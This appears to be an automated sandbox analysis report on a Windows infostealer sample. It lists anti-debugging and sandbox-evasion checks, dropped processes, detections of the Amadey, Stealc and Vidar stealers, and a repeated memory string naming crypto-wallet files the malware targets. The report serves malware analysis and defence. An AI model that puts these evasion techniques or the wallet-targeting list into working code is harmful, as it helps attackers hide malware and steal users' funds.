Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: SIWVID

Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe

Code function: 6_2_054802E5 rdtsc

6_2_054802E5

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0041ACFA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_0041ACFA

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00404610 VirtualProtect ?,00000004,00000100,00000000

0_2_00404610

Source: C:\Users\user\Desktop\file.exe

0_2_004195E0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00419160 mov eax, dword ptr fs:[00000030h]

0_2_00419160

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00405000 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,memcpy,InternetCloseHandle,InternetCloseHandle,

0_2_00405000

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041C8D9 SetUnhandledExceptionFilter,	0_2_0041C8D9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041ACFA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0041ACFA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041A718 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0041A718
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA3B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6CA3B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA3B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CA3B1F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBEAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CBEAC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 6880, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 659e6df34d.exe PID: 7596, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 659e6df34d.exe PID: 7856, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004190A0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_004190A0

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userIJKFHIIEHI.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe "C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe"	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe "C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userIJKFHIIEHI.exe "C:\Users\userIJKFHIIEHI.exe"	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe "C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe"
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe "C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe"
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account

Source: 7bfd2dfdc1.exe, 00000014.00000002.3392069446.00000000007F2000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3389981692.00000000007F2000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: userIJKFHIIEHI.exe, userIJKFHIIEHI.exe, 00000009.00000002.2424291604.0000000000769000.00000040.00000001.01000000.0000000A.sdmp, axplong.exe, 0000000F.00000002.2449285864.00000000008A9000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: Program Manager
Source: RoamingKJEGDBKFIJ.exe, 00000006.00000002.2373119176.0000000000C76000.00000040.00000001.01000000.00000009.sdmp, explorti.exe, 0000000D.00000002.2432417132.0000000000AA6000.00000040.00000001.01000000.0000000E.sdmp, explorti.exe, 0000000E.00000002.3390822561.0000000000AA6000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 9Program Manager
Source: RoamingKJEGDBKFIJ.exe, explorti.exe	Binary or memory string: 79Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA3B341 cpuid

0_2_6CA3B341

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00417630

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00417420 GetProcessHeap,HeapAlloc,GetLocalTime,wsprintfA,

0_2_00417420

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004172F0 GetProcessHeap,HeapAlloc,GetUserNameA,

0_2_004172F0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004174D0 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

0_2_004174D0

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 32.2.explorti.exe.8b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.explorti.exe.8b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.RoamingKJEGDBKFIJ.exe.a80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.userIJKFHIIEHI.exe.570000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.axplong.exe.6b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.explorti.exe.8b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.axplong.exe.6b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.2373035719.0000000000A81000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3389599424.00000000006B1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2390275517.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2405534163.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2760526662.00000000008B1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3389689706.00000000008B1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2332387044.0000000005260000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2424174248.0000000000571000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2336215842.0000000004840000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2388154782.0000000005200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2431689835.00000000008B1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.2719030660.0000000005080000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2449142736.00000000006B1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2702273695.0000000005270000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000015.00000002.2608427789.00000000026DA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2386289151.0000000002578000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.2783199122.000000000267A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2479176591.0000000002567000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6880, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 659e6df34d.exe PID: 7596, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 659e6df34d.exe PID: 7856, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6880, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger 